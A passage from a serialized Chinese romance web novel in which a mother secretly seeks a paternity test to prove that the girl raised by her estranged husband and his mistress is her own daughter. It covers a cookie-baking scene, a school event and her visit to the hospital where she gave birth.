她听了之后,恍然大悟,心疼地望着我:“我那时候一直联系不上你,就担心你被顾时序那个浑蛋欺负。我让裴炎京去看你,他告诉我,你挺好的。”
我道:“你别怪裴医生,是我不让他告诉你的。”
宋今若眼眶通红,咬牙切齿地说:“顾时序这个王八蛋!走!我们现在就去问他,为什么要把你怀胎十月生下的女儿送给苏雅欣那个小**,还把你当成傻子骗了这么多年!真是太可恨了!”
她转身就要走,被我立刻拉住。
我深吸一口气,强迫自己冷静下来,“现在去质问他,他依然会站在苏雅欣那边,或许以后连孩子都不让我见到。我们需要证据,铁证。”
宋今若咬着牙点头:“对,不能就这么便宜他!现在亲子鉴定中心还没下班,我们现在就去送标本。”
“嗯。”
宋今若陪我去鉴定中心抽了血。
刚好她男朋友裴炎京是这里的医生,所以我们托裴炎京帮忙,又抽了一管朵朵的血样。
顾时序精心编织了这么多年的谎言,很快,就要被撕开了!
……
我回到病房时,朵朵正在拿着手机给顾时序打电话。
“爸爸,我今晚还想去你那儿找叶阿姨学烘焙,你可以帮我跟奶奶说一下,别让她来接我了吗?”
小丫头神色平静,能说会道的。
顾时序显然没有怀疑什么,应该是答应下来了。
朵朵对着手机听筒亲了一下,道:“爸爸,那你让叶阿姨来接我哦!”
不知道顾时序问了什么,小丫头一下子有点慌,连忙道:“对……对啊,虽然我以前挺讨厌她的,但是爸爸你说过,阿姨不是坏人啊!所以,我相信爸爸啊!”
我静静站在门口,目光落在病床上那张小脸上,眼睛又酸又胀。
虽然我对顾时序的欺骗感到愤怒,可现在,一种更汹涌、更陌生的情绪正从心底最柔软的地方冒出来。
那是看到自己骨血的本能悸动。
我悄悄走近几步,视线贪婪地描摹着她的五官,好像要把这几年缺席的时光都补回来似的。
朵朵见我过来,挂了电话,骄傲地跟我炫耀:“我爸爸同意了!而且,我没有把过敏的事情告诉他哦!我说话算数吧!”
“嗯。”
我哽咽着应了一声,伸手轻轻抚摸着她柔软的卷发,道:“朵朵真乖。”
朵朵愣了愣,小孩子虽然什么都不懂,但她也能感受到我情绪的变化。
她黑亮的眼睛里充满了疑惑:“你肿么了?”
“没什么。”
我努力挤出一抹微笑,道:“我想着朵朵生日那天,给朵朵做一个大蛋糕。可是,我不知道朵朵的生日究竟是哪天?”
朵朵一听,格外开心,“哇,真的可以吗?我生日是12月12号哦!再有一个多月就到啦!”
这个数字,让我有些失望。
因为当年我生下女儿的那天是12月8日。
难道,是顾时序为了掩人耳目,重新给她编造了一个生日吗?
毕竟,他连我的孩子都能送给别人抚养,又有什么事情是他做不出来的?
就算生日对不上号,我还是坚信,朵朵一定是我的女儿!
我深深地望着她,忍不住想再摸摸她软软的脸颊,可她的儿童手机却响了。
我立刻收回手,小丫头看到是苏雅欣的电话,立刻露出开心的笑脸。
“妈妈!你不是在工作吗?”
朵朵这声清脆的‘妈妈’,像一把无形的刀,把我的心扎出了血。
朵朵将手机放在耳边撒娇道:“妈妈,奶奶又给你告状啦?我去找叶阿姨真的只是想学做饼干,然后做给你吃啊!你不要生气嘛!吃醋的妈妈就不美喽!”
复杂的情绪在我胸腔里反复冲撞、撕扯,我忍着酸涩的眼眶,甚至羡慕起电话那头的苏雅欣。
不知什么时候,朵朵挂了电话。
小丫头闷闷的样子,刚才的笑脸也没有了。
“怎么了?”
我柔声问她。
朵朵叹了口气道:“妈妈知道我跟你学做饼干,好像有点不高兴了。奶奶真讨厌,就知道告状!不是跟妈妈告状,就是跟爸爸告状!”
我生怕她反悔不再见我,我投其所好,道:“晚上教你做拉布布图案的饼干,好吗?”
朵朵忘记了刚才的不愉快,对我道:“那个好难做的,我们班同学的妈妈还没有能做出来的。如果明天我带那个过去,他们肯定崇拜死我了!”
我不禁被她的笑容感染了,点点头:“我们朵朵喜欢什么,我就学什么。”
“谢谢阿姨!”
一声‘阿姨’,将我打回了原型。
这时,顾时序的电话打给了我。
看到这个名字,我真有种撕碎他的冲动。
我深吸了口气,压着愤怒,尽量平静地开口:“怎么了?”
“在哪儿?”他问。
我道:“在外面,有事吗?”
顾时序道:“晚上五点半接一下朵朵,然后把她带过来。她说想让你教她做饼干,我已经让刘妈把烘焙饼干的材料带过来了。”
“好,知道了。”
我答应之后,立刻挂了电话。
生怕再多说一分钟,我都得忍不住质问他!
朵朵输完液之后,已经基本恢复正常了。
我不放心,再三跟医生确认之后,才带她离开医院。
路上,我提醒她:“我们的秘密,还记得吗?”
“记得!”
朵朵奶声奶气地说:“不能把今天我过敏的事,告诉任何人,对不对!”
我忍不住笑了,“朵朵真聪明。”
……
医院。
朵朵一进门,就小跑到爸爸面前,搂着顾时序的脖颈亲了一下。
我看着这一幕,心像是被反复揉捏着。
这么多年,他是一点没有丧失做父亲的快乐,却生生剥夺了我做母亲的权利!
顾时序,真的太残忍了!
我不知平复了多久情绪,才装作若无其事的样子走过去。
顾时序照例给我转了一千万,作为我给她女儿做东西的交换。
我盯着手机屏幕上那串刺眼的数字,指尖冰凉。
我把手机揣回口袋,冷冷道:“以后,不用再给我转账。”
顾时序挑眉看我,眼底闪过一丝诧异。
随即,他道:“带小孩子不是件容易的事,我不喜欢欠人情。这些钱,你拿着吧。”
我笑了笑,笑意却没到眼底,“顾时序,你欠我的,是这些钱能还清的吗?”
顾时序英俊的面容划过一抹异样,甚至还有一丝不易察觉的慌乱。
我心里冷笑。
你得嚣张到什么程度,才能让小三带着我亲生女儿跟我同住在一个房子里,每天在我眼前晃!
现在才开始慌吗?
顾时序,这才只是个开始!
而朵朵丝毫没有察觉到此时气氛的微妙,催促着我赶紧教她做饼干。
没过多久,我手里已经做好了初具雏形的拉布布饼干。
朵朵兴奋地拍手:“爸爸你看,叶阿姨好厉害!”
顾时序的嘴角微微上扬:“嗯,是挺厉害的。”
我没接话,只是专注地做手中的事情。
指尖触到的是温热的黄油,
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可我心里却如同结冰。
他现在的温柔有多真切,当年的谎言就有多残忍。
就在这时,顾时序的微信传来消息,是朵朵的班级群。
老师说明天要举行亲子运动会,希望家长们尽量都可以参加。
顾时序问了朵朵,朵朵这才想起来:“哎呀,我给忘了。老师今天上午好像是说了运动会的事情。”
说完,她有点犹豫地看着顾时序,“可是爸爸,你受伤了,还怎么参加呀?”
平日里仿佛无所不能的顾时序,此时也犯了难。
毕竟,他现在的伤确实不能扯到一点,而苏雅欣又是明星,从来不在幼儿园现身的。
空气安静了几秒,我忽然开口:“我可以陪她去。”
朵朵猛地抬头,眼睛瞬间亮了:“真的吗?叶阿姨,你跑步快不快?明天有跑步和跳绳的活动,你不可以拖后腿哦。”
我笑着摸摸她脑袋,道:“放心吧,肯定不给你丢脸。”
可顾时序却不是很赞同的样子,道:“这样不太好,会让朵朵的老师同学误会。”
我不禁攥紧指尖,他眼睁睁地看着我在‘丧女之痛’中煎熬了三年,现在,却还要刻意阻止我和我女儿亲近。
我似笑非笑地问:“顾总说的‘误会’是指什么?怕朵朵同学误会我是朵朵的妈妈?”
顾时序的脸色微不可察地变了变,甚至避开了我的目光,道:“你没带过小孩,我怕你带不好她。”
我喉间发涩,点点头,“是啊,我没带过孩子,拜你所赐!”
顾时序眉峰紧蹙,沉声道:“你什么意思?”
“没什么意思。”
我忍了忍,差点在刚才,就跟他摊牌了。
我不想再继续跟他争论下去,因为那些质问已经在喉咙里,就快脱口而出。
为了掩饰自己眼底的愤怒和悲凉,我刻意低头继续做着手里的饼干。
可朵朵却跑到爸爸面前,晃了晃他的手,道:“爸爸,你就让叶阿姨陪我去嘛!我会跟同学解释清楚,她不是我妈妈,不会有人误会的。”
虽然朵朵平日里撒娇最管用。
可今天,顾时序却好像格外坚持。
他确实不想让我跟朵朵走得太近,他也知道心虚。
朵朵见爸爸不同意,情绪渐渐低落,道:“每次幼儿园活动,别的小朋友都有爸爸妈妈陪着,只有我,只有爸爸陪。现在,就连爸爸都不能陪我了……”
顾时序大概是被女儿那副模样刺痛了,沉默片刻,终于松了口:“好了,爸爸答应你。”
朵朵的眼睛瞬间亮得像星星,跑到我身边,道:“叶阿姨,你听到了吗?爸爸同意了!”
她柔软的小身子贴着我,带着淡淡的奶香味。
我的心像被温水浸过,又酸又软。
如果我的孩子没有被苏雅欣教坏,她可以一直这么乖巧可爱的。
晚上,我们将烤好的饼干分装到20个袋子里密封好,准备明天分给幼儿园的每个小朋友。
我去浴室给朵朵洗好了澡,自己也准备洗澡。
可就在这时,顾时序突然跟了过来。
我看见他关门,吓了一跳,紧张地问:“你干什么?”
他的眸子又黑又沉,问:“这句话,应该我问你。你想干什么?为什么突然对朵朵这么殷勤?”
我克制着内心紊乱的心跳,平静地说:“多个人对你女儿好,不好吗?我倒是觉得你挺奇怪的,你希望我一直对你女儿冷言冷语,你就舒服了,对吧?”
顾时序被我噎了一下,锋利的眸光落在我脸上,道:“你手上已经有了念恩的一条人命,我已经放你一次了!要是你再敢伤害朵朵,我会让你赔命!”
我只觉得无比讽刺,难受得想哭。
他在警告我,让我别伤害自己的亲生女儿。
顾时序啊!
你欺骗到最后,是把自己都骗进去了吗?
我哽咽着道:“我不会伤害朵朵的。你放心吧!”
温热的液体莫名溢出我眼眶,我别开脸,不想在他面前示弱。
可我没想到,他伸手帮我擦着眼泪,哑声开口道:“如果你真的那么喜欢孩子,我们可以再生一个。”
第74章 我们一起洗
我脑子嗡的一声,下意识的一耳光就落在了他脸上。
顾时序懵了,毕竟,这一巴掌对他来说,实在是莫名其妙。
可我真的没法控制自己的情绪。
他怎么能一边把我的孩子送人,一边还要再跟我生一个?
顾时序被打恼了,忽然扣住我手腕,修长的身躯逼近我,道:“谁给你胆子敢跟我动手!”
“那是因为你把我恶心到了!”
我牙根都快被咬碎,一字一句地说:“你忘了吗?我们马上就要离婚了。我跟谁生,都不会跟你生!”
“是么?想跟顾亦寒生?”
他嘴角扯开一抹冷笑,下一秒,便吻在了我脖颈,带着细细的撕咬。
我一边挣扎,一边压低声音道:“浑蛋!你疯了么?朵朵还在外面!”
就在这时,朵朵在外面敲起了门,稚嫩的声音随之响起:“爸爸,叶阿姨在里面洗澡,你在里面干什么呀?”
我所有的神经都紧绷了起来。
顾时序动作一顿,喉结无声滚动两下,缓缓放开了我。
我踉跄着往旁边挪了挪,离他远了些。
门外的敲门声执拗地响着,裹着孩童特有的清亮:“爸爸,老师说女孩子洗澡,男生不可以偷看的哦!”
“爸爸在跟阿姨说事情,这就出来。”
顾时序脸上已恢复惯常的清冷,转身拉开门。
朵朵仰着小脸往我这边探,小眉头拧起:“咦?阿姨没有洗澡呀!”
他蹲下身,语气温柔:“阿姨当然没在洗澡,不然爸爸不就成大坏蛋了?老师说得对,女孩子洗澡时,男生不能在旁边。所以朵朵以后洗澡,也不能让男生靠近,记住了吗?”
对着女儿,他游刃有余,说谎时眼皮都不眨一下。
朵朵重重点头,小大人似的强调:“我知道啦!爸爸都说好多遍了,女孩子脖子以下、膝盖以上,不能给别人看,更不能让别人乱碰!”
“真聪明。”
顾时序揉了揉女儿的发顶,“好了,爸爸带你出去,让阿姨安心洗澡吧。”
三言两语转移话题打了马虎眼,竟真的让朵朵忘了追问。
而我背对着门板,浑身力气像被抽干了,内心却久久不能平静。
……
翌日天刚亮,我就醒了。
毕竟是人生头一回参加女儿的亲子活动,实在没法不放在心上。
朵朵特意让我编了上次那款小辫子,对着镜子转了两圈,小奶音里带着点遗憾:“真好看……要是妈妈也会编就好啦。”
我顺着她的话问:“平时妈妈不给你梳头发吗?”
“每天都是女佣给我梳的。”朵朵垂下眼睑,声音低了些,“妈妈工作好忙的,没时间做这些。”
望着她毛茸茸的头顶,我喉咙发紧。
多想告诉她,我才是她的妈妈。我可以每天给她编不一样的辫子,做她想做的任何事。
所有冲动到了嘴边,都化作一句轻哄:“朵朵以后想梳好看的辫子,随时找我,好不好?”
“好呀!”
小姑娘一边应着,小心翼翼地把昨晚我们一起烤的饼干装进盒子,拉着我的手就往外走:“快走快走!我昨天在班级群里跟大家说了,他们都等着呢!”
我笑着应下,牵起她软乎乎的小手。
临出门时,朵朵朝顾时序挥挥手:“爸爸再见!”
他站在原地,黑沉的眸光复杂难辨,只淡淡应了声。
路上,我心里满是期待,副驾驶的朵朵哼着儿歌,小脚丫晃来晃去,心情好得不得了。
可刚到幼儿园门口,一辆红色法拉利突然斜插到我车前。
朵朵眼睛一亮:“那是妈妈的车!”
不祥的预感瞬间攫住心脏,我牵着朵朵下了车。
苏雅欣戴着黑色墨镜和口罩,一张脸武装得严严实实,也从车上下来。
看到她,朵朵立刻松开我的手奔过去,甜甜地喊:“妈妈!你怎么来啦?不是说工作很忙吗?”
苏雅欣蹲下身抱起女儿,声音柔得发腻:“再忙也不能不陪我家宝贝呀。”
朵朵歪着头问:“妈妈要参加我的亲子运动会吗?可你不是说,你是大明星不能露面吗?”
她笑了笑,指尖刮了下女儿的小鼻子:“妈妈确实不方便露面,不过呀,我们今天不参加运动会了,妈妈带你去游乐场,玩一整天好不好?”
朵朵眼睛瞬间亮得像星星:“真的吗?我好久没去游乐场了!”
说着,她忽然想起什么,看看我,又看看手里的饼干盒,小声说:“可是……我昨晚答应小朋友,要把亲手做的饼干分给他们的。”
苏雅欣顿了顿,随即柔声说:“这样吧,妈妈把饼干拿给老师,让老师分给大家。你先去车上等妈妈,妈妈跟叶阿姨说几句话。”
朵朵乖巧点头:“那妈妈一定要告诉大家,饼干是我做的哦!这样他们才会崇拜我!”
“放心吧,妈妈记住了。”
我站在一旁,把她的刻意尽收眼底。
只是到现在,我仍猜不透——苏雅欣到底知不知道,朵朵是我的女儿?
朵朵一上车,苏雅欣脸上的温柔瞬间褪去。
她抬手将那盒我们昨晚忙活了许久的饼干,扔进了旁边的垃圾桶。
“自己生不出孩子,就靠几块破饼干笼络我的女儿?”
她语气里满是鄙夷,“叶小姐,时序哥现在对你厌恶至极,你就开始打朵朵的主意了?”
我懒得跟她废话,直接往她痛处戳:“彼此彼此。你不也靠着朵朵,才能赖在顾时序身边?反正顾时序心里没我,也同样没你。你该比谁都清楚,他心里装着的,从来是苏念恩。”
苏雅欣语气狠极了,咬着牙道:“不管怎样,朵朵是我的女儿!她喊我妈妈!”
“你确定吗?”
我眯起眼,丝毫不掩饰嘲讽:“自己生没生过,心里没数?”
她脸色骤变,厉声追问:“你到底想说什么?”
我没再说话,只是一瞬不瞬地盯着她,仿佛要透过她的皮囊,看穿她内里的肮脏。
苏雅欣被我看得浑身发毛,恨恨地撂下一句:“我劝你离朵朵远一点!不然,时序哥绝不会放过你!”
说完,她几乎是逃一般地拉开车门坐了进去。
我深吸一口气,指甲深深掐进掌心。
她和顾时序抢了我的女儿,如今反倒让我这个亲妈离女儿远一点?
凭什么!
而我回到自己车里,平复了很久的情绪。
回去的路上,我给刘妈打了电话,让她再送一些烘焙饼干的食材过来。
因为,我不想让朵朵失望。
当她满心欢喜地以为同学们都能尝到自己的成果,却发现饼干不翼而飞,她该有多难过?
回到病房,我没跟顾时序说一句话,便自顾自地用刘妈送来的食材做饼干。
顾时序放下手中的文件,走到我身后,蹙眉道:“昨晚不是做了很多吗?怎么又做?”
我以为他会问我,不是跟朵朵参加亲子运动会了吗?
可我这时候回来,他一点都不意外。
我转头看着他,道:“是你让苏雅欣去幼儿园的?”
顾时序清冷的面容写满了理所应当:“嗯,我让她多陪陪朵朵。”
我不禁捏紧了手中的碗,继续问:“所以她扔了我的饼干,也是你的意思?”
顾时序微微一顿,道:“我没让她这么做。”
我冷冷道:“但是,她把朵朵期待了那么久的饼干全扔进了垃圾桶。顾时序,你真觉得朵朵被苏雅欣养得没有问题吗?”
顾时序眸色微沉,狐疑地看着我:“是不是你又说了什么让别人难堪的话?雅欣平时为人宽容,如果不是事出有因,她绝不会做这种事。你要知道,兔子被逼急了,也会咬人的。”
我无奈又无力,喃喃自语:“对,兔子急了,也会咬人。”
可苏雅欣是兔子吗?
不,她是一条吐着毒液的毒蛇!
顾时序见我继续忙活着饼干,就差说我自作自受了!
中午时分,我终于将饼干烤好,分装进密封袋里,送到了幼儿园。
刚好宋今若今天也在。
我让她帮我把这些饼干拿给老师,叮嘱道:“一定要让朵朵的同学知道,是她亲手做的。”
宋今若心疼地望着我,道:“昭昭,希望这孩子有一天能明白你的苦心。”
“不需要她明白,妈妈为了孩子,做什么都是应该的。”
我做这些事的时候,其实很幸福。
十分钟后,宋今若回到办公室,笑着说:“都按照你的吩咐办好了,你家朵朵这次也算是出了个风头。”
说到这儿,她叹了口气道:“你别看这孩子被顾时序宠得跟什么似的,其实她在幼儿园里没什么朋友。再加上每次亲子活动都只有爸爸来,却没有妈妈,很多小朋友都会说她是没妈的孩子。她在幼儿园里根本得不到认可,所以,才
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会这么着急地想证明自己。”
我愣住了,满满的心疼,“这些事……怎么以前没听你说起过?”
宋今若叹了口气,道:“以前我一直以为她是顾时序和哪个野女人生的孩子。而且,这孩子还跟着苏雅欣一起欺负你,我这不就觉得她活该吗?现在想想,其实小孩子能有什么坏心眼的?都是大人教出来的。”
就在这时,手机在包里震动起来。
我听筒刚贴上耳朵,顾时序冷沉的声音就传入耳膜:“叶昭昭,你在哪儿?”
“不是说过了?给幼儿园小朋友送饼干。”我道。
“现在立刻回来!”他的语气森冷,又加了一句:“否则,后果自负。
电话被猛地挂断,我心里咯噔一下,以为他想反悔,不准备放过顾亦寒了。
我匆匆跟宋今若打了个招呼,就往医院赶去。
回到病房,本该带着朵朵在游乐场的苏雅欣竟然已经回来了。
只不过,小姑娘呆在苏雅欣的身边,耷拉着脑袋,偷偷瞄着我,怯生生的。
我心脏一紧,问:“发生什么事了?”
顾时序坐在沙发上,面色冷硬如雕塑,“这句话应该我问你。朵朵昨天在幼儿园发生了什么,你告诉我!”
我心跳一窒,再看看朵朵那个心虚的眼神,就知道,估计她昨天菠萝过敏的事被苏雅欣三两句话套了出来。
顾时序的声音像冰锥砸在我心上,阴测测的:“怪不得最近你这么反常,又是对朵朵献殷勤,又是教她做饼干。搞了半天,是有更大的阴谋!”
“阴谋?我能对我自己的……”
我话到嘴边硬生生咽下去,指甲几乎掐进肉里,“我能对朵朵能有什么阴谋?”
这时,旁边的苏雅欣突然流出眼泪,手抚上朵朵的额头,那姿态亲昵地刺眼。
“叶小姐,朵朵对菠萝是严重过敏啊,上次差点没抢救过来!她还只是个孩子,你怎么……怎么能……”
顾时序目光中骤然掀起风暴,语气又重了几分:“说!你和宋今若在密谋什么!”
我看着他盛怒的眼睛,突然想笑。
如果他知道,我其实也对菠萝过敏,他还会这么理直气壮吗?
只不过,我是前年才发现自己对菠萝过敏的,可那时候他几乎不再关心我,我也很少有机会跟他交流什么。
以至于他到今天都不知道。
“宋今若真的不知道点心里有菠萝粉的成分存在。”
我深吸一口气,压下翻涌的情绪解释道:“幼儿园食谱上没写,事后做了过敏原检测才确认的。我瞒着你,是怕你不问青红皂白。就像现在这样!”
顾时序凌厉的面容没有丝毫缓和,“我已经起诉了圣辉幼儿园。宋家的幼儿园,别想继续在海城混下去!”
“顾时序,你不能这样!”
我急忙求情道:“宋今若真的不知道,她……”
顾时序冷冷打断我:“我说过,谁在我女儿身上动心思,我绝不会放过她!你该庆幸,我现在还没找到你伤害朵朵的直接证据。否则,你以为你还能站在这里跟我说话?”
就在这时,旁边的苏雅欣哭得更厉害了,“时序哥,我好怕……朵朵在宋家幼儿园太危险了,我们转学吧?等她真的被人伤了性命,我们再后悔就晚了!”
我猛地抬头,血液瞬间冲上头顶。
朵朵只有在宋家的幼儿园,我才能距离她近一些,才能经常去看看她。
如今,苏雅欣竟然连这点权利都想从我手中夺走!
难道,她已经知道了,我发现朵朵是我的女儿了吗?
而顾时序轻轻拍着苏雅欣的背,安抚道:“好,明天我们就给朵朵转学。”
他没有看我一眼,仿佛我只是个无关紧要的陌生人。
关于朵朵的所有,他和苏雅欣都有权利安排,唯独我这个亲生母亲,没有资格插手我女儿的任何事!
我心口像被巨石碾过。
可我知道,我现在没有证据,就算阻拦,他们也不可能听我的。
说不定,还会打草惊蛇,把朵朵藏得更远。
但是,等亲子鉴定结果出来,我一定要夺回女儿的抚养权!
就在这时,我手机响了,屏幕上是一串短号。
我立刻拿着手机去了外面,电话那头道:“是叶昭昭女士吗?我是海城中心医院的亲子鉴定中心。”
我不由得握紧了手机,压低声音问:“是不是结果出来了?”
第75章 被他弄的脸发烫
原以为亲子鉴定结果一天就出来了,我还在惊叹海城中心医院的效率。
可那边却传来工作人员抱歉的声音:“不好意思叶小姐,您昨天的血样是私下送检的,没走正常流程。裴医生虽然特意交代过,但实习生交班时没注意……孩子那份,当成废弃样本处理了。”
“处理了?”我指尖发颤,手机差点脱手,“你们就是这么工作的?这是失职!”
“实在抱歉,”对方不急不缓地解释道,“您的血样还在,如果还要鉴定,补一份孩子的样本就行。”
挂了电话,我回头望向紧闭的病房门,手心冰凉。
以前朵朵在宋家的幼儿园,偷偷弄份血样不算难。
可现在顾时序已经决定给她转学,以后想见一面都难如登天,更别说弄样本了。
就在我犯难的时候,一个小手轻轻拽了拽我的衣角。
“朵朵?”
我收起手机,心中五味杂陈。
朵朵小声道:“对不起,我不是故意出卖你的。是妈妈派人去幼儿园查了,我……没法跟她说谎。”
我望着小姑娘脸上的愧疚,心中柔软,蹲下身道:“没关系,不怪你。小孩子……是应该诚实的。”
我脑海中还是刚才亲子鉴定中心的电话。
突然想起虽然血样难弄,头发也能做鉴定啊。
我顺势理了理她额前的碎发,装作随口问:“朵朵今天的辫子真好看,是谁给你辫的呀?”
说话时,我手指悄悄勾住一根发丝,还没来得及扯下,走廊那头突然传来苏雅欣的声音。
我不动声色的收回了手,就差一点,我就得到了新的样本。
“朵朵!”
苏雅欣快步朝我们走来,将朵朵拉进怀里,蹙眉道:“妈妈不是跟你说过,不能跟陌生人说话吗?”
朵朵小心翼翼的瞥了我一眼,冲苏雅欣点点头,“嗯,我记住了,妈妈。”
苏雅欣冷笑了声,牵着朵朵的手走了过来,阴测测地说:“叶小姐,我知道你想干什么?不过,你那些阴谋诡计还是收起来吧!朵朵是我的女儿,谁都别想抢走!”
说完,她故意用亲昵的语气对朵朵道:“走,我们跟爸爸说再见,回家喽!明天朵朵就要去新幼儿园了,开心吗?”
小姑娘牵着妈妈,一蹦一跳地回应着:“开心!妈妈,晚上我们去吃PIZZA,价双份芝士的,好不好?”
我站在原地,望着电梯门缓缓合上,吞没了那抹小小的身影。
鼻尖一热,我赶紧仰头眨了眨眼睛。
……
朵朵转学的事情很快就传到了宋今若耳里,同时,他还收到了顾时序送来的律师函。
翌日,她把我约出去。
我愧疚地跟她道歉,她摆摆手,道:“这跟你有什么关系?是我自己不小心,让朵朵吃了含有菠萝粉的点心。要是真怪你,那只能怪你当年眼太瞎,找了这么个变态东西!”
“那顾时序要起诉你们圣辉幼儿园,你想好怎么办了吗?”
我担忧地问。
宋今若道:“虽说不小心让他女儿过敏,是我们不对。可这件事一没造成人命,二没造成什么后遗症。他告就告,大不了我们赔钱了事。”
我这才稍稍放心了些,将昨天亲子鉴定中心弄丢了朵朵血样的事情告诉了她。
“什么?这……肯定是有人在背后操纵的!”
宋今若斩钉截铁地说:“怎么可能就这么巧?我就不信了,别人的血样都不丢,就偏偏丢朵朵的?”
我摇了摇头,道:“其实我也有怀疑,会不会是顾时序或苏雅欣已经知道了?但他们现在没有挑明,如果我们直接去对质,那不就不打自招了?唯一的办法,就是再弄一份朵朵的血样,要神不知鬼不觉。”
“可现在,朵朵已经不在圣辉幼儿园了。要是顾时序真对你起了疑心,那以后只会派人更加注意朵朵的动向,我们压根接近不了她了。”
宋今若说到这儿,小心翼翼地问我:“昭昭,会不会朵朵根本就不是你的女儿?虽然的确很巧合,但我昨晚给她办理转学手续看到她的档案。她生日根本就不是你生下第一胎的那天啊!”
我的心微微颤了颤,语气染上一抹坚定:“顾时序如果连孩子的生死都能骗我,那改一个出生日期对他来说,又是什么难事呢?况且,12月8号和12月12号,只相差了四天。今若,我相信,朵朵一定是我女儿!”
宋今若半信半疑的样子。
我知道,除了我,没人会相信这么荒唐的事。
毕竟,顾时序骗我的动机并不明确,而且,也没有任何证据能证明我跟朵朵的关系。
我突然想到了什么,道:"我要去当年我生产的医院一趟。我家里还有病历,那里记录着接生医生和护士的名字。她们应该最清楚我的孩子是否还活着!"
"那走吧!我陪你!"
宋今若站起身来,说干就干。
我道:"要不,你还是先回去吧。我不想再连累你了!"
宋今若道:"说什么连累不连累的?就凭顾时序,顶多恶心一下我们宋家罢了!他不会把我们怎么样的,放心吧!"
就这样,宋今若先陪我回家拿了病历,我们去了我当年生产的荣婴妇产科医院。
“请问张珺医生和高秀梅护士在吗?”
护士疑惑地说:"我们这里没有你说的医生和护士啊,你是不是搞错了?"
我拿出病历,道:"不可能,这是你们医院的病历。我三年在这里生孩子,就是她们给我接生的,不可能弄错。"
护士道:"那我去找医生跟你说。我是去年刚来的,不知道这两个人。"
很快,一名看起来资历很老的医生来到我面前,道:"你找的这两个人,三年前就辞职了。"
辞职?
我和宋今若对视了一眼,越发觉得不对劲。
刚给我接生完,就辞职?
我追问道:"知不知道什么原因呢?"
"不知道。"医生摇了摇头,道:“当时,她们走的时候没跟我们打招呼,直接去人事科办理了辞职手续。要不,你们去人事科问问吧。"
我不死心,继续问道:“那你们知不知道,她们辞职之后去了哪儿?又或者,她们老家在哪儿呢?”
"这我就不知道了。"
那名医生道:“我跟她们只是普通同事,她们当时走的时候特别匆忙。”
她说完,我更加确信了,当**绝对有问题。
从住院部出来,宋今若问:"咱们还去不去人事科打听一下了?"
我摇摇头道:"不去了,如果我没猜错,人事科应该也被封口了。他们不会告诉我们真相的。"
宋今若叹了口气,道:“看来,只有等亲子鉴定做出来,才能知道真相。要不,我们再去找**,让他们帮忙弄一下朵朵的样本?”
“上次我找的**已经是国内最好的公司了,却还是被顾时序发现了。”
我凝重地说:“那两个被派去查苏念恩的侦探已经消失在海城了。以后,不会再有侦探公司敢接跟顾时序有关的案子。”
宋今若突然想起了什么,停住脚步,道:“我知道了!我知道去找谁了!沈宴州啊!”
“沈宴州?”
我疑惑地问:“他不是律师吗?”
宋今若解释道:“那次我听顾亦寒说过,沈宴州的律所之所以远近闻名,不止是他专业性高,更重要的是他律所旗下有一个非常精密的侦探系统,情报网遍布世界各地。听说,这个侦探系统给他的当事人查到不少秘密的东西呢!”
她这么一说,我也终于看到了一点希望。
我犹豫了一下,道:“可我……跟沈宴州并不熟。也不知道我贸然提这个请求,他会不会答应?”
我俩正说着,手机突然在口袋里震动起来。
看到屏幕上跳动的“沈老夫人”四个字,我心头一跳,赶紧接起电话。
那边老夫人慈爱的声音传来:“昭昭啊,晚上来家里吃饭吧?宴州也在,正好一起热闹热闹。”
我下意识看了眼身旁的宋今若,她立刻朝我挤眉弄眼,小声道:“机会来了!”
我深吸一口气,轻声应道:“好,那我晚点过去。”
挂了电话,宋今若拍着我的肩膀:“看吧,老天爷都在帮你!”
去沈家的路上,我给顾时序打了个电话。
“我晚上有点事,不回去吃饭了,你让刘妈给你做点吧。”
话音刚落,那边就传来男人不满的声音:“你能有什么事?”
“顾时序,我们就要离婚了,我的事没必要事无巨细跟你报备。”我压着心头的烦躁,语气冷了几分。
他却像是没听见,沉声道:“叶昭昭,别忘了我们的交易。你就是这么照顾我的?”
“就算是你家佣人,也有请假的权利吧?今天就算我请假,你可以扣我工资。”
说完,不等顾时序答应,我就挂了电话。
…
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…
沈家别墅。
沈老夫人一见我,就拉着我的手嘘寒问暖。
看到那一桌子菜,我不好意思地说:“这么晚,打扰您了。”
老夫人立刻道:“哪有打扰?你也知道,我们沈家的根基在帝都,宴州的叔叔姑姑们都在帝都工作。海城这边,就宴州陪着我。可他工作太忙,我成天连个说话的人都没有。”
我其实也想经常来看看沈老夫人,陪她说话解闷儿。
可我跟沈家这个差距不是一般的大。
我来得太勤,总有种上赶着攀附的意思。
再加上沈老夫人貌似有意无意地撮合我和沈宴州,这就更让我不敢常来了。
毕竟,我不想任何人误会。
吃饭时。
老夫人总是提醒沈宴州给我夹菜。
沈宴州一副冷淡的样子,似乎很勉强。
我尴尬地说:“我自己来就行!”
“那好,就把这儿当做自己家,别客气,知道吗?”
沈老夫人慈爱地笑着,暗暗给了沈宴州一个不满的眼神。
沈宴州看见了,也权当没看到。
我这顿饭吃得心不在焉,满脑子都是我一会儿要怎么跟沈宴州提那件事?
如果我要是当着沈老夫人的面提,他一定会觉得我是在利用老夫人要挟他,我也的确不想这么做。
可我该怎么找到跟他私下说话的机会呢?
一顿饭直到结束,我也没想到一个合适的场合开口。
吃完饭,沈宴州是第一个放下筷子的。
“奶奶,我上楼了,你们慢吃。”
沈宴州刚站起身,老夫人便道:“急什么?你一会儿带昭昭在园子里转转,消消食。咱们家这小花园,最近又移栽了不少花儿呢,都是冬天里开花儿的,可新奇了。”
沈宴州顿了顿,在老夫人的要求下,只好坐回刚才的位置上。
他意味深长的眸光掠过我,似乎想让我拒绝沈老夫人。
平日里沈老夫人撮合我们的时候,都是我主动拒绝的。
可现在,我低着头吃饭,仿佛没看见他的眼神和信号。
毕竟,今天我是真有事求他,必须私下里说。
否则,我才不会这么不识趣儿地让这么个大忙人陪我逛后花园呢。
夜晚的花园浸在朦胧的月光里,晚风带着淡淡的花香。
沈宴州步伐从容,周身散发着生人勿近的凉意,一句话都不说。
我跟在他身后半步的距离,看着他挺拔的背影,正琢磨着该怎么开口。
左脚突然被右脚绊了一下,惊呼一声,身体不受控制地往前倒去。
下一秒,手腕被一股苍劲的力道攥住。
纵使隔着厚厚的羊绒外套,那力道也透过布料传来,带着踏实的稳。
我站稳后慌忙抽回手,脸颊发烫,窘迫地低声道:“谢谢沈律师。”
他淡淡“嗯”了一声,移开目光,继续往前走。
沉默在我们之间无限蔓延,我想到朵朵,终于鼓起勇气道:“沈律师,我……我其实有件事想求您帮个忙。”
沈宴州脚步微顿,回头看向我。
